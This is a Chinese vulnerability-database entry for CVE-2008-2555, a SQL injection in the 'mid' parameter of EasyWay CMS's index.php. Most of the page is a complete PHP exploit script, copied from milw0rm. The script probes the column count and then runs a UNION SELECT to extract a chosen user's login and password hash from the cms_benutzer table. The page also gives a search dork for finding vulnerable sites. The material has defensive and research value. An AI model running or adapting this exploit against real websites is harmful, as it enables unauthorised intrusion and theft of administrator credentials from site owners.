EasyWay CMS 'index.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1115314 漏洞类型 SQL注入
发布时间 2008-05-31 更新时间 2008-06-05
CVE编号 CVE-2008-2555 CNNVD-ID CNNVD-200806-098
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/5706
https://www.securityfocus.com/bid/81325
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200806-098
|漏洞详情
EasyWayCMS中的index.php存在SQL注入漏洞。远程攻击者可以借助mid参数,执行任意的SQL指令。
|漏洞EXP
<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#           EasyWay CMS - SQL Injection Exploit     
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Exploit coded by:            Lidloses_Auge
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
#                                   GPM, Free-Hack
#      Date:                        30.05.2008
#      Developer:		    http://www.ta-edv.de/index.php?lg=de&css=1&mid=320&art=1
#
###############################################################
#                                                             
#      Dork:  inurl:"index.php?css=mid=art="
#      Admin Panel: [Target]/cms/
#      Usage: php '.$argv[0].' [Target] [Userid]
#      Example for "http://www.site.com/index.php?css=1&mid=100&art=1"
#      => php '.$argv[0].' http://www.site.com 1
#                                                             
###############################################################
');
if ($argc == 3) {
echo "\nExploiting in progress:";
$url = $argv[1];
$source = file_get_contents($url.'/index.php?mid=null+order+by+100/*');
$errorcount = substr_count($source,'not a valid MySQL');
$sql = '/index.php?mid=null+union+select+';
for ($i = 25; $i>=1; $i--) {
   $source = file_get_contents($url.'/index.php?mid=null+order+by+'.$i.'/*');
   if (substr_count($source,'not a valid MySQL')!=$errorcount) {
      $errorcount2 = $i;
      $i = 1;
   }
}
for ($j=1; $j<$errorcount2; $j++) {
   $sql = $sql.'concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a),';   
}
$sql = $sql.'concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a)+from+cms_benutzer+where+id='.$argv[2].'/*';
$source = file_get_contents($url.$sql);
echo "\n";
if (strpos($source,'::::')!=0) {
   echo 'User: '.substr($source,strpos($source,'::::')+5,strpos($source,'::1::')-strpos($source,'::::')-5)."\n";
   echo 'Hash: '.substr($source,strpos($source,'::1::')+5,strpos($source,'::2::')-strpos($source,'::1::')-5)."\n";
} else {
   echo 'Exploit failed!'."\n";
}
} else {
echo "\nNot enough arguments!\n";
}
?>

# milw0rm.com [2008-05-31]
|受影响的产品
Easyway Cms 0
|参考资料

来源:XF
名称:easyway-index-sql-injection(42787)
链接:http://xforce.iss.net/xforce/xfdb/42787
来源:MILW0RM
名称:5706
链接:http://www.milw0rm.com/exploits/5706
来源:SECUNIA
名称:30494
链接:http://secunia.com/advisories/30494